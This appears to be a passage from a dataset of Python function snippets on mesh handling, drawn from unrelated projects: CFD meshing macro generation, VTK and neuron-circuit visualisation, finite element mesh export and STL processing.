BasePlane()\\n baseplane.setHeight(0)\\n baseplane.setRange((-2, 2, 7))\\n\\n self.addChild(par)\\n self.addChild(mesh1)\\n self.addChild(baseplane)\",\n \"def __init__(self):\\n self.lattices = []\\n self.meshfns = []\",\n \"def __init__(self,\\n name,\\n vertices_location,\\n connectivity,\\n connectivity_ids=None,\\n connectivity_label=None,\\n connectivity_label_metadata=None,\\n connectivity_colormap = None,\\n connector_size=2.6,\\n global_deselect_alpha=0.2,\\n global_select_alpha=1.0,\\n skeleton_linewidth=2.0):\\n super(Microcircuit, self).__init__( name )\\n\\n if not connectivity_ids is None:\\n self.connectivity_ids = connectivity_ids\\n\\n if not connectivity_label is None:\\n self.connectivity_labels = connectivity_label\\n\\n if not connectivity_label_metadata is None:\\n\\n for semanticdict in connectivity_label_metadata:\\n # name needs to be based on convention, TODO: best from ontology id rather than string!\\n # TODO: use microcircuit convention\\n if semanticdict.has_key(\\\"name\\\"):\\n name = semanticdict[\\\"name\\\"]\\n if \\\"skeleton\\\" in name:\\n self.con_skeleton = int(semanticdict[\\\"value\\\"])\\n elif \\\"presynaptic\\\" in name:\\n self.con_pre = int(semanticdict[\\\"value\\\"])\\n elif \\\"postsynaptic\\\" in name:\\n self.con_post = int(semanticdict[\\\"value\\\"])\\n\\n else:\\n # TODO: default\\n self.con_skeleton = 1\\n self.con_pre = 2\\n self.con_post = 3\\n\\n # selection stores integer ids from connectivity_selectionID\\n # when selected\\n self.skeleton_selection = []\\n\\n # use the connectivity labels to extract the connectivity for the skeletons\\n self.index_skeleton = np.where(self.connectivity_labels == self.con_skeleton)[0]\\n self.index_allpre = np.where(self.connectivity_labels == self.con_pre)[0]\\n self.index_allpost = np.where(self.connectivity_labels == self.con_post)[0]\\n \\n self.vertices = vertices_location\\n self.connectivity = connectivity\\n\\n connectivity_skeleton = self.connectivity[self.index_skeleton]\\n self.vertices_skeleton = self.vertices[ connectivity_skeleton.ravel() ]\\n \\n # we have a simplified connectivity now\\n self.connectivity_skeleton = np.array( range(len(self.vertices_skeleton)), dtype = np.uint32 )\\n self.connectivity_skeleton = self.connectivity_skeleton.reshape( (len(self.connectivity_skeleton)/2, 2) )\\n self.connectivity_ids_skeleton = self.connectivity_ids[ self.index_skeleton ]\\n\\n # look up the start and end vertex id\\n # map these to _skeleton arrays, and further to actor???\\n\\n # colors for skeletons\\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_skeleton ):\\n self.connectivity_skeleton_colors = np.repeat(connectivity_colormap[self.con_skeleton], len(self.connectivity_skeleton), axis=0).astype( np.float32 )\\n\\n ##########\\n # Incoming connectors\\n ##########\\n\\n # extract the pre connectivity and create cones\\n # store the indices for to be used to create the vector scatter\\n # by itself, it represent implicitly the index used to select/deselect the vectors\\n if len(self.index_allpre) == 0:\\n if DEBUG:\\n print \\\"no presynaptic connection\\\"\\n self.pre_actor = None\\n else:\\n self.vertices_pre = self.vertices[ connectivity[self.index_allpre].ravel() ]\\n self.pre_p1 = self.vertices_pre[::2, :] # data is NOT copied here\\n self.pre_p2 = self.vertices_pre[1::2, :]\\n pren = len(self.index_allpre)\\n r1 = np.ones( pren, dtype = np.float32 ) * connector_size\\n r2 = np.zeros( pren, dtype = np.float32 )\\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_pre ):\\n preval = np.ones( pren, dtype = np.dtype(type(self.con_pre)) ) * self.con_pre\\n else:\\n preval = None\\n self.pre_actor = VectorScatter( \\\"PreConnector\\\", self.pre_p1, self.pre_p2, r1, r2, values = preval,\\n resolution = 8, colormap = connectivity_colormap )\\n # len(self.index_pre) = len(self.pre_p1) = len(preval)\\n\\n ##########\\n # Outgoing connectors\\n ##########\\n\\n # extract the post connectivity and create cones\\n if len(self.index_allpost) == 0:\\n if DEBUG:\\n print \\\"no postsynaptic connection\\\"\\n self.post_actor = None\\n else:\\n self.vertices_post = self.vertices[ connectivity[self.index_allpost].ravel() ]\\n self.post_p1 = self.vertices_post[::2, :]\\n self.post_p2 = self.vertices_post[1::2, :]\\n postn = len(self.index_allpost)\\n r1 = np.zeros( postn, dtype = np.float32 )\\n r2 = np.ones( postn, dtype = np.float32 ) * connector_size\\n if isinstance(connectivity_colormap, dict) and connectivity_colormap.has_key( self.con_post ):\\n postval = np.ones( postn, dtype = np.dtype(type(self.con_post)) ) * self.con_post\\n else:\\n postval = None\\n self.post_actor = VectorScatter( \\\"PostConnector\\\", self.post_p1, self.post_p2, r1, r2, values = postval,\\n resolution = 8, colormap = connectivity_colormap )\\n\\n ##########\\n # Skeletons\\n ##########\\n self.skeleton = Skeleton( name = \\\"Polygon Lines\\\",\\n vertices = self.vertices_skeleton,\\n connectivity = self.connectivity_skeleton,\\n connectivity_colors = self.connectivity_skeleton_colors,\\n connectivity_ID = self.connectivity_ids_skeleton,\\n linewidth = skeleton_linewidth,\\n global_deselect_alpha = global_deselect_alpha,\\n global_select_alpha = global_select_alpha )\\n\\n self.connectivity_skeletononly_ids = None\\n self.connectivity_preonly_ids = None\\n self.connectivity_postonly_ids = None\\n\\n self.global_deselect_alpha = global_deselect_alpha\\n self.global_select_alpha = global_select_alpha\",\n \"def write_mesh_java(self):\\n fout = open(self.javaBatch1File+\\\".java\\\",\\\"w\\\")\\n fout.write(\\\"\\\"\\\"\\\\\\n// STAR-CCM+ macro\\npackage macro;\\n\\nimport java.util.*;\\n\\nimport star.common.*;\\nimport star.base.neo.*;\\nimport star.resurfacer.*;\\nimport star.trimmer.*;\\nimport star.prismmesher.*;\\nimport star.meshing.*;\\n\\npublic class %s extends StarMacro {\\n\\n public void execute() {\\n execute0();\\n }\\n \\\"\\\"\\\" % (self.javaBatch1File))\\n\\n fout.write(\\\"\\\"\\\"\\\\\\n\\n private void execute0() {\\n\\n // Directory for output files and final sim file (if saved)\\n String myPath = \\\"$PWD\\\";\\n\\n String myInputSTLFilename = \\\"%s\\\"; // contains aircraft geometry\\n\\n String myOutputMeshFilename = \\\"%s\\\"; // output sim name with volume mesh\\n\\n double mySphereRadius_ft = %f; // radius of freestream outer boundary in feet\\n double mySphereX_ft = %f; // Center of freestream sphere in feet\\n double mySphereY_ft = %f;\\n double mySphereZ_ft = %f;\\n double mySphereTriangles_ft = %f; // size of sphere outer boundary facets\\n\\n double myPrismFieldRatio = %f; // thickness ratio of near field to outermost prism\\n\\n int myBLcells = %d; // number of cells in boundary layer normal direction\\n double myBLthickness_in = %f; // thickness of boundary layer in inches\\n\\n double myBaseSize_ft = %f; // mesh base size in feet\\n int myCurvature = %d; // number of points to divide a circle\\n double mySurfaceGrowthRate = %f; // growth rate (max size ratio) of surface triangles\\n double myFeatureAngle_deg = %f; // maximum angle for defining sharp edges on ATR model\\n\\n double myMinMesh_pct = %f; // smallest cell size in percent\\n double myEdgeTarget_pct = %f; // target size for feature curve edges in percent\\n\\n boolean bln_makeSurfaceMesh = %s; // use true to make surface mesh, false to skip\\n boolean bln_makeVolumeMesh = %s; // use true to make volume mesh, false to skip\\n boolean bln_saveMeshFile = %s; // use true to save final mesh file, false to skip\\n \\\"\\\"\\\" % (self.STLFile,self.simMeshFile,self.mySphereRadius,self.mySphereX,self.mySphereY,\\n self.mySphereZ,self.mySphereTriangles,self.myPrismFieldRatio,self.myBLcells,\\n self.myBLthickness,self.myBaseSize,self.myCurvature,self.mySurfaceGrowthRate,\\n self.myFeatureAngle,self.myMinMesh,self.myEdgeTarget,\\n str(self.makeSurfaceMesh).lower(),str(self.makeVolumeMesh).lower(),str(self.saveMeshFile).lower()))\\n\\n fout.write(\\\"\\\"\\\"\\\\\\n\\n if (!bln_makeSurfaceMesh) bln_makeVolumeMesh = false;\\n\\n // Start of STAR macro\\n Simulation simulation_0 = getActiveSimulation();\\n\\n Units units_0 = simulation_0.getUnitsManager().getPreferredUnits(new IntVector(new int[] {0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}));\\n Units units_1 = ((Units) simulation_0.getUnitsManager().getObject(\\\"ft\\\"));\\n units_1.setPreferred(true);\\n\\n PartImportManager partImportManager_0 = simulation_0.get(PartImportManager.class);\\n\\n // Read concatenated STL parts\\n //partImportManager_0.importStlPart(resolvePath(myPath+myInputSTLFilename), \\\"OneSurfacePerPatch\\\", units_1, true, 1.0E-5);\\n partImportManager_0.importStlPart(resolvePath(myInputSTLFilename), \\\"OneSurfacePerPatch\\\", units_1, true, 1.0E-5);\\n\\n MeshPartFactory meshPartFactory_0 = simulation_0.get(MeshPartFactory.class);\\n\\n SimpleSpherePart simpleSpherePart_0 = meshPartFactory_0.createNewSpherePart(simulation_0.get(SimulationPartManager.class));\\n\\n simpleSpherePart_0.setDoNotRetessellate(true);\\n\\n LabCoordinateSystem labCoordinateSystem_0 = simulation_0.getCoordinateSystemManager().getLabCoordinateSystem();\\n\\n simpleSpherePart_0.setCoordinateSystem(labCoordinateSystem_0);\\n\\n Coordinate coordinate_0 = simpleSpherePart_0.getOrigin();\\n\\n coordinate_0.setCoordinateSystem(labCoordinateSystem_0);\\n coordinate_0.setCoordinate(units_1, units_1, units_1, new DoubleVector(new double[] {0.0, 0.0, 0.0}));\\n\\n // Set location of freestream sphere center (x, y, z) in feet\\n coordinate_0.setValue(new DoubleVector(new double[] {mySphereX_ft, mySphereY_ft, mySphereZ_ft}));\\n\\n simpleSpherePart_0.getRadius().setUnits(units_1);\\n\\n // Set freestream sphere radius in feet\\n simpleSpherePart_0.getRadius().setValue(mySphereRadius_ft);\\n simpleSpherePart_0.getTessellationDensityOption().setSelected(TessellationDensityOption.MEDIUM);\\n simpleSpherePart_0.rebuildSimpleShapePart();\\n simpleSpherePart_0.setDoNotRetessellate(false);\\n\\n Region region_0 = simulation_0.getRegionManager().createEmptyRegion();\\n\\n region_0.setPresentationName(\\\"Region\\\");\\n Boundary boundary_0 = region_0.getBoundaryManager().getBoundary(\\\"Default\\\");\\n\\n region_0.getBoundaryManager().removeBoundaries(new NeoObjectVector(new Object[] {boundary_0}));\\n FeatureCurve featureCurve_0 = ((FeatureCurve) region_0.getFeatureCurveManager().getObject(\\\"Default\\\"));\\n\\n region_0.getFeatureCurveManager().removeObjects(featureCurve_0);\\n FeatureCurve featureCurve_1 = region_0.getFeatureCurveManager().createEmptyFeatureCurveWithName(\\\"Feature Curve\\\");\\n\\n MeshPart meshPart_0 = ((MeshPart) simulation_0.get(SimulationPartManager.class).getPart(\\\"combined\\\"));\\n\\n simulation_0.getRegionManager().newRegionsFromParts(new NeoObjectVector(new Object[] {meshPart_0, simpleSpherePart_0}), \\\"OneRegion\\\", region_0, \\\"OneBoundaryPerPartSurface\\\", null, \\\"OneFeatureCurve\\\", featureCurve_1, false);\\n\\n MeshContinuum meshContinuum_0 = simulation_0.getContinuumManager().createContinuum(MeshContinuum.class);\\n\\n PhysicsContinuum physicsContinuum_0 = simulation_0.getContinuumManager().createContinuum(PhysicsContinuum.class);\\n\\n meshContinuum_0.enable(ResurfacerMeshingModel.class);\\n\\n // Use trimmer (Cartesian hex) mesh\\n meshContinuum_0.enable(TrimmerMeshingModel.class);\\n\\n meshContinuum_0.enable(PrismMesherModel.class);\\n\\n // Base size in feet - larger values makes coarser grids, smaller values makes finer grids\\n meshContinuum_0.getReferenceValues().get(BaseSize.class).setValue(myBaseSize_ft);\\n\\n ResurfacerMeshingModel resurfacerMeshingModel_0 = meshContinuum_0.getModelManager().getModel(ResurfacerMeshingModel.class);\\n resurfacerMeshingModel_0.setDoCompatibilityRefinement(true);\\n resurfacerMeshingModel_0.setDoAutomaticSurfaceRepair(false);\\n\\n MaxTrimmerSizeToPrismThicknessRatio maxTrimmerSizeToPrismThicknessRatio_0 = meshContinuum_0.getReferenceValues().get(MaxTrimmerSizeToPrismThicknessRatio.class);\\n maxTrimmerSizeToPrismThicknessRatio_0.setLimitCellSizeByPrismThickness(true);\\n SizeThicknessRatio sizeThicknessRatio_0 = maxTrimmerSizeToPrismThicknessRatio_0.getSizeThicknessRatio();\\n\\n // Prism to field thickness ratio\\n sizeThicknessRatio_0.setNeighboringThicknessMultiplier(myPrismFieldRatio);\\n\\n NumPrismLayers numPrismLayers_0 = meshContinuum_0.getReferenceValues().get(NumPrismLayers.class);\\n\\n // Number of boundary layer cells\\n numPrismLayers_0.setNumLayers(myBLcells);\\n\\n PrismThickness prismThickness_0 = meshContinuum_0.getReferenceValues().get(PrismThickness.class);\\n\\n prismThickness_0.getRelativeOrAbsoluteOption().setSelected(RelativeOrAbsoluteOption.ABSOLUTE);\\n\\n GenericAbsoluteSize genericAbsoluteSize_0 = ((GenericAbsoluteSize) prismThickness_0.getAbsoluteSize());\\n\\n Units units_2 = ((Units) simulation_0.getUnitsManager().getObject(\\\"in\\\"));\\n\\n genericAbsoluteSize_0.getValue().setUnits(units_2);\\n\\n // Boundary layer thickness in inches\\n genericAbsoluteSize_0.getValue().setValue(myBLthickness_in);\\n\\n SurfaceCurvature surfaceCurvature_0 = meshContinuum_0.getReferenceValues().get(SurfaceCurvature.class);\\n\\n SurfaceCurvatureNumPts surfaceCurvatureNumPts_0 = surfaceCurvature_0.getSurfaceCurvatureNumPts();\\n\\n // Curvature refinement specified as number of points around a circle\\n surfaceCurvatureNumPts_0.setNumPointsAroundCircle(myCurvature);\\n\\n SurfaceGrowthRate surfaceGrowthRate_0 = meshContinuum_0.getReferenceValues().get(SurfaceGrowthRate.class);\\n\\n // Surface growth rate (ratio of triangle sizes)\\n surfaceGrowthRate_0.setGrowthRate(mySurfaceGrowthRate);\\n\\n SurfaceSize surfaceSize_0 = meshContinuum_0.getReferenceValues().get(SurfaceSize.class);\\n\\n RelativeMinimumSize relativeMinimumSize_0 = surfaceSize_0.getRelativeMinimumSize();\\n\\n // Set triangle minimum size percentage\\n relativeMinimumSize_0.setPercentage(myMinMesh_pct);\\n\\n SimpleTemplateGrowthRate simpleTemplateGrowthRate_0 = meshContinuum_0.getReferenceValues().get(SimpleTemplateGrowthRate.class);\\n\\n // Set volume mesh growth rate for field (FAST, MEDIUM, SLOW, VERYSLOW)\\n simpleTemplateGrowthRate_0.getGrowthRateOption().setSelected(GrowthRateOption.SLOW);\\n\\n // Set nearfield mesh growth rate for field (FAST, MEDIUM, SLOW, VERYSLOW)\\n simpleTemplateGrowthRate_0.getSurfaceGrowthRateOption().setSelected(SurfaceGrowthRateOption.VERYSLOW);\\n\\n // Remove existing feature curves (will remark feature curves below)\\n region_0.getFeatureCurveManager().removeObjects(featureCurve_1);\\n\\n MeshPipelineController meshPipelineController_0 = simulation_0.get(MeshPipelineController.class);\\n\\n meshPipelineController_0.initializeMeshPipeline();\\n\\n SurfaceRep surfaceRep_0 = ((SurfaceRep) simulation_0.getRepresentationManager().getObject(\\\"Initial Surface\\\"));\\n\\n Boundary boundary_1 = region_0.getBoundaryManager().getBoundary(\\\"combined.fuselage\\\");\\n Boundary boundary_2 = region_0.getBoundaryManager().getBoundary(\\\"combined.tail\\\");\\n Boundary boundary_3 = region_0.getBoundaryManager().getBoundary(\\\"combined.wing\\\");\\n Boundary boundary_4 = region_0.getBoundaryManager().getBoundary(\\\"Sphere.Sphere Surface\\\");\\n boundary_4.setBoundaryType(FreeStreamBoundary.class);\\n\\n // Identify feature curves using angle criteria (currently set at 17 degrees for the ATR model)\\n FeatureCurve featureCurve_2 = surfaceRep_0.createFeatureEdgesOnBoundaries(new NeoObjectVector(new Object[] {boundary_1, boundary_2, boundary_3, boundary_4}), true, true, true, true, true, true, myFeatureAngle_deg, false);\\n\\n SurfaceSizeOption surfaceSizeOption_0 = featureCurve_2.get(MeshConditionManager.class).get(SurfaceSizeOption.class);\\n\\n surfaceSizeOption_0.setSurfaceSizeOption(true);\\n\\n SurfaceSize surfaceSize_1 = featureCurve_2.get(MeshValueManager.class).get(SurfaceSize.class);\\n\\n RelativeMinimumSize relativeMinimumSize_1 = surfaceSize_1.getRelativeMinimumSize();\\n\\n // Set feature curve minimum size (usually the same as surface triangle minimum size)\\n relativeMinimumSize_1.setPercentage(myMinMesh_pct);\\n\\n RelativeTargetSize relativeTargetSize_0 = surfaceSize_1.getRelativeTargetSize();\\n\\n // Set feature curve target size as a percentage\\n relativeTargetSize_0.setPercentage(myEdgeTarget_pct);\\n\\n SurfaceSizeOption surfaceSizeOption_1 = boundary_4.get(MeshConditionManager.class).get(SurfaceSizeOption.class);\\n\\n surfaceSizeOption_1.setSurfaceSizeOption(true);\\n\\n SurfaceSize surfaceSize_2 = boundary_4.get(MeshValueManager.class).get(SurfaceSize.class);\\n\\n surfaceSize_2.getRelativeOrAbsoluteOption().setSelected(RelativeOrAbsoluteOption.ABSOLUTE);\\n\\n AbsoluteMinimumSize absoluteMinimumSize_0 = surfaceSize_2.getAbsoluteMinimumSize();\\n\\n // Set minimum triangle size for freestream boundary (in feet)\\n absoluteMinimumSize_0.getValue().setValue(mySphereTriangles_ft);\\n\\n AbsoluteTargetSize absoluteTargetSize_0 = surfaceSize_2.getAbsoluteTargetSize();\\n\\n // Set target triangle size for freestream boundary in feet\\n absoluteTargetSize_0.getValue().setValue(mySphereTriangles_ft);\\n\\n // Make surface mesh\\n if ( bln_makeSurfaceMesh ) meshPipelineController_0.generateSurfaceMesh();\\n\\n // Make volume mesh\\n if ( bln_makeVolumeMesh ) meshPipelineController_0.generateVolumeMesh();\\n\\n // Save .sim file\\n if ( bln_saveMeshFile ) simulation_0.saveState(resolvePath(myOutputMeshFilename));\\n\\n\\n }\\n}\\n\\\"\\\"\\\")\\n fout.close()\",\n \"def create_mesh(self, name, primitives):\\n new_mesh = self._build_mesh(primitives=primitives)\\n self.meshes.append(new_mesh)\\n\\n # Update meshes map\\n self.meshes_map[name] = self._last_index(self.meshes)\\n\\n return self._last_index(self.meshes)\",\n \"def _build_mesh(self, primitives):\\n new_mesh = {}\\n\\n primitives_ind = self._resolve_mapping(inp=primitives, mapping=self.primitives_map)\\n new_primitives = [self.primitives[i] for i in primitives_ind]\\n\\n new_mesh[\\\"primitives\\\"] = new_primitives\\n\\n return new_mesh\",\n \"def create_start_data(self):\\n\\t\\tdef inputMesh(feature_size):\\n\\t\\t\\tc1= np.expand_dims(np.array([0,-0.9]),0)\\n\\t\\t\\tc2= np.expand_dims(np.array([-0.9,0.9]),0)\\n\\t\\t\\tc3= np.expand_dims(np.array([0.9,0.9]),0)\\n\\t\\t\\tx1 = np.expand_dims(np.pad(np.array([0,-0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\\n\\t\\t\\tx2 = np.expand_dims(np.pad(np.array([-0.9,0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\\n\\t\\t\\tx3 = np.expand_dims(np.pad(np.array([0.9,0.9]),(0,feature_size-2),'constant',constant_values=(0,0)),0)\\n\\t\\t\\tedge_index = np.transpose(np.array([[0, 1], [0, 2], [1, 0], [1, 2], [2, 0], [2, 1]])) # COO format\\n\\t\\t\\treturn np.concatenate((c1,c2,c3),axis=0), np.concatenate((x1,x2,x3),axis=0),edge_index\\n\\n\\t\\tc, x, edge_index = inputMesh(self.params.feature_size)# x is c with zeros appended, x=f ..pixel2mesh\\n\\t\\tdata_list_x = []\\n\\t\\tdata_list_c = []\\n\\t\\tdata_list_pid = []\\n\\t\\tfor i in range(self.params.batch_size):\\n\\t\\t\\tdata_list_x.append(Data(x=torch.Tensor(x).type(dtypeF), edge_index=torch.Tensor(edge_index).type(dtypeL)))\\n\\t\\t\\tdata_list_c.append(Data(x=torch.Tensor(c).type(dtypeF), edge_index=torch.Tensor(edge_index).type(dtypeL)))\\n\\t\\t\\tdata_list_pid.append(Data(x=torch.zeros(c.shape[0],1).type(dtypeL).requires_grad_(False)))\\n\\t\\tbatch_x = Batch.from_data_list(data_list_x)\\n\\t\\tbatch_c = Batch.from_data_list(data_list_c)\\n\\t\\tbatch_pid = Batch.from_data_list(data_list_pid)\\n\\t\\treturn batch_x, batch_c, batch_pid\",\n \"def new_mesh_set(self, all_meshes):\\n if isinstance(all_meshes, Mesh):\\n mesh_tp = []\\n mesh_tp.append(all_meshes)\\n all_meshes = mesh_tp\\n\\n if not isinstance(all_meshes, list):\\n raise TypeError(\\\"Please send a list of mesh to update_mesh\\\")\\n self.all_meshes = all_meshes\\n\\n # Remove previous actors from the scene\\n for actor in self.mesh_actors:\\n self.parent_window.ren.RemoveActor(actor)\\n self.mesh_actors = list()\\n\\n # Create the geometry of a point (the coordinate) points = vtkPoints()\\n for i, mesh in enumerate(self.all_meshes):\\n if mesh.time.size != 1:\\n raise IndexError(\\\"Mesh should be from one frame only\\\")\\n\\n points = vtkPoints()\\n for j in range(mesh.channel.size):\\n # points.InsertNextPoint([0, 0, 0])\\n points.InsertNextPoint(mesh.data[:3, j, 0].tolist())\\n\\n # Create an array for each triangle\\n draw_patch = not mesh.automatic_triangles and not self.force_wireframe\\n if draw_patch:\\n poly_type = vtkPolygon\\n n_ids = 3\\n color = self.patch_color[i]\\n else:\\n poly_type = vtkPolyLine\\n n_ids = 4\\n color = self.mesh_color\\n cells = vtkCellArray()\\n\\n # Create the polygons\\n for j in range(mesh.triangles.shape[1]):\\n poly = poly_type()\\n poly.GetPointIds().SetNumberOfIds(n_ids) # make a tri\\n for k in range(len(mesh.triangles[:, j])):\\n poly.GetPointIds().SetId(k, mesh.triangles[k, j])\\n if not draw_patch:\\n poly.GetPointIds().SetId(3, mesh.triangles[0, j]) # Close the triangle\\n cells.InsertNextCell(poly)\\n\\n poly_data = vtkPolyData()\\n poly_data.SetPoints(points)\\n if draw_patch:\\n poly_data.SetPolys(cells)\\n else:\\n poly_data.SetLines(cells)\\n\\n mapper = vtkPolyDataMapper()\\n mapper.SetInputData(poly_data)\\n\\n # Create an actor\\n self.mesh_actors.append(vtkActor())\\n self.mesh_actors[i].SetMapper(mapper)\\n self.mesh_actors[i].GetProperty().SetColor(color)\\n self.mesh_actors[i].GetProperty().SetOpacity(self.mesh_opacity)\\n\\n self.parent_window.ren.AddActor(self.mesh_actors[i])\\n\\n # Update marker position\\n self.update_mesh(self.all_meshes)\",\n \"def createMesh(width, height):\\r\\n mesh = [(x,y) for x in range(0, width+1) for y in range(0,height+1)]\\r\\n return mesh\",\n \"def __init__(self, pos, points, triangles):\\n\\n CPoints = c.c_float * (len(points) * 3)\\n cpoints = CPoints()\\n for i in xrange(len(points)):\\n for j in xrange(3):\\n cpoints[(i*3)+j] = points[i][j]\\n CTris = c.c_int * len(triangles*3)\\n ctris = CTris()\\n for i in xrange(len(triangles)):\\n for j in xrange(3):\\n ctris[(i*3)+j] = triangles[i][j]\\n\\n self.obj = _pal.lib.body_static_mesh_terrain_create(c.c_float(pos[0]), c.c_float(pos[1]), c.c_float(pos[2]),\\n c.pointer(cpoints),len(points)*3, c.pointer(ctris), len(triangles)*3)\\n\\n self.points = points\\n self._body_base = _pal.lib.cast_static_mesh_terrain_body_base(self.obj)\",\n \"def __init__(self, mesh):\\n self._mesh = mesh\\n # number of triangles in this patch\\n self._nTris = 0\\n # offset into mesh._indices where this patch starts\\n self._startIndex = mesh.vertexCount()\\n # indices into the parent mesh's vertex list\\n self._indices = []\\n # r, g, b, a\\n self._color = [0.1, 0.1, 0.7, 1.0]\\n # 'wire', 'flat', or 'smooth'\\n self._surfaceMode = 'smooth'\\n # DEBUG:\\n self._showNormals = False\",\n \"def __init__(self,biosphere,mesh,upper_level_grid_id=0,generate_tree_now=False,grid_name='N.A.',use_id_as_name=True):\\n self.taxonomies = embedTaxonomyInGrid(biosphere,mesh,upper_level_grid_id=upper_level_grid_id,generate_tree_now=generate_tree_now,use_id_as_name=use_id_as_name)\\n self.extent = 'N.A.'\\n self.area = 'N.A'\\n self.geometry = 'N.A'\\n self.grid_name = grid_name\\n self.parent_id = upper_level_grid_id\\n self.dArea = self.taxonomies[0].biomeGeometry.area\\n self.biosphere = biosphere\",\n \"def write_mesh_file(allxyz, beck_bed):\\n if SAVEMESH:\\n print('+> Saving finite element mesh files...', end='')\\n fname = FNAME.rsplit('.', 1)[0]\\n ncol = beck_bed[0,:].size\\n nrow = beck_bed[:,0].size\\n nele = (nrow-1)*(ncol-1)*2\\n d = compute_mesh(nrow, ncol, nele)\\n h = ':NodeCount ' + str(allxyz[:,0].size) + '\\\\n:ElementCount ' \\\\\\n + str(nele) + '\\\\n#\\\\n:EndHeader\\\\n'\\n with open(fname + '_mesh.t3s', 'w') as f: \\n f.write(h)\\n with open(fname + '_mesh.t3s', 'a') as f:\\n np.savetxt(f, allxyz, fmt='%.6e')\\n np.savetxt(f, d, fmt='%d')\\n f.write('\\\\n\\\\n')\\n h = 'TITLE = \\\\\\\"' + fname \\\\\\n + '_mesh\\\\\\\"\\\\nVARIABLES = \\\\\\\"X\\\\\\\", \\\\\\\"Y\\\\\\\", \\\\\\\"' + fname \\\\\\n + '_mesh\\\\\\\"\\\\nZONE NODES=' + str(allxyz[:,0].size) + ', ELEMENTS=' \\\\\\n + str(nele) + ', DATAPACKING=POINT, ZONETYPE=FETRIANGLE\\\\n'\\n with open(fname + '_mesh.dat', 'w') as f: \\n f.write(h)\\n with open(fname + '_mesh.dat', 'a') as f:\\n np.savetxt(f, allxyz, fmt='%.6e')\\n np.savetxt(f, d, fmt='%d')\\n f.write('\\\\n\\\\n')\\n inlet = np.zeros((ncol,), dtype=int)\\n outlet = np.zeros((ncol,), dtype=int)\\n for i in range(ncol):\\n inlet[i] = 1 + i*nrow\\n outlet[i] = (1 + i)*nrow\\n left = np.zeros((nrow-2,), dtype=int)\\n right = np.zeros((nrow-2,), dtype=int)\\n for i in range(1, nrow-1):\\n left[i-1] = (ncol-2)*nrow + i + 1\\n right[i-1] = (ncol-1)*nrow + i + 1\\n cli = np.zeros((2*(nrow+ncol-2), 13))\\n cli[:,:2] = 2\\n cli[:,7] = 2\\n cli[:,11] = np.concatenate((inlet, outlet, left, right))\\n cli[:,12] = np.arange(2*(nrow+ncol-2)) + 1\\n cli[:ncol,0] = 4\\n cli[:ncol,1] = 5\\n cli[:ncol,2] = 5\\n cli[:ncol,7] = 4\\n cli[ncol:2*ncol,0] = 5\\n cli[ncol:2*ncol,1] = 4\\n cli[ncol:2*ncol,2] = 4\\n cli[ncol:2*ncol,7] = 4\\n np.savetxt(fname + '_BC_tmp.cli', cli, fmt='%d')\\n with open(fname + '_BC.cli', 'w') as out_f:\\n with open(fname + '_BC_tmp.cli', 'r') as in_f:\\n for i, line in enumerate(in_f):\\n if i < ncol:\\n s = ' #Inlet'\\n elif i >= ncol and i < 2*ncol:\\n s = ' #Outlet'\\n else:\\n s = ' #'\\n out_f.write(line.rstrip('\\\\n') + s + '\\\\n')\\n out_f.write('\\\\n')\\n os.remove(fname + '_BC_tmp.cli')\\n h = ':FileType bc2 ASCII EnSim 1.0' \\\\\\n + '\\\\n:NodeCount ' + str(allxyz[:,0].size) \\\\\\n + '\\\\n:ElementCount ' + str(nele) \\\\\\n + '\\\\n:ElementType T3' \\\\\\n + '\\\\n:BoundarySegmentCount 2' \\\\\\n + '\\\\n# id code sectionCount startNode1 endNode1 startNode2 endNode2 tracerCode name' \\\\\\n + '\\\\n:BoundarySegment 1 455 1 1 ' + str(ncol) + ' 1 1 4 \\\\\\\"Inlet\\\\\\\"' \\\\\\n + '\\\\n:BoundarySegment 2 544 1 ' + str(ncol+1) + ' ' + str(2*ncol) + ' 1 1 4 \\\\\\\"Outlet\\\\\\\"' \\\\\\n + '\\\\n:ShorelineCount 1' \\\\\\n + '\\\\n:ShorelineNodeCount ' + str(2*(nrow+ncol-2)) \\\\\\n + '\\\\n:EndHeader' \\\\\\n + '\\\\n:BeginNodes ' + str(allxyz[:,0].size) + '\\\\n'\\n with open(fname + '_BC.bc2', 'w') as f: \\n f.write(h)\\n with open(fname + '_BC.bc2', 'a') as f:\\n xyz = np.copy(allxyz)\\n xyz[:,2] = 0\\n np.savetxt(f, xyz, fmt='%.6e')\\n f.write(':EndNodes\\\\n:BeginElements ' + str(nele) + '\\\\n')\\n np.savetxt(f, d, fmt='%d')\\n f.write(':EndElements\\\\n:BeginTable ' + str(2*(nrow+ncol-2)) + ' 15\\\\n')\\n with open(fname + '_BC.cli', 'r') as g:\\n lines = g.read()\\n f.write(lines[:-1])\\n f.write(':EndTable\\\\n\\\\n')\\n print(' [done]')\",\n \"def prog(args):\\r\\n i_fname, o_fname, pedestal_params, split_list, Num_W = args\\r\\n mesh = stl.mesh.Mesh.from_file(i_fname)\\r\\n #rotate mesh since by default the rotation axis is along X\\r\\n mesh.rotate([0,1,0],np.pi/2)\\r\\n\\r\\n v_arr = np.round(np.vstack(mesh.vectors).astype(float), decimals=1)\\r\\n\\r\\n splt0_arr = np.array(split_list)\\r\\n splt1_arr = np.roll(splt0_arr,-1)\\r\\n\\r\\n pos = cf.cartesian2cylyndrical(v_arr, Num_W)\\r\\n\\r\\n #make splits\\r\\n pos_list=[]\\r\\n for splt0, splt1 in zip(splt0_arr[:-1], splt1_arr[:-1]):\\r\\n pos_idx = np.where((splt0<=pos[:,:,2]) & (splt1>pos[:,:,2]))[0]\\r\\n print(splt0, splt1)\\r\\n #pos = [r, th, z] sectionwise\\r\\n pos_list.append(pos[pos_idx])\\r\\n #add pedestal mesh\\r\\n\\r\\n for sect_num, pos in enumerate(pos_list):\\r\\n pos = cf.add_pedestal(pos, pedestal_params)\\r\\n profiles=np.zeros_like(pos)\\r\\n\\r\\n for i in np.arange(np.shape(pos)[0]):\\r\\n profiles[i] = cf.cylyndrical2cartesian(pos[i])\\r\\n\\r\\n strokes = np.flipud(np.rot90(profiles))\\r\\n #transform data from longeron nodes [xyz] to:\\r\\n #a_arr - rotation angle around the rotation axis\\r\\n #r_arr - length of a segment perpenticular to the rotation axis and corresponding lateral mesh edge\\r\\n #z_arr - 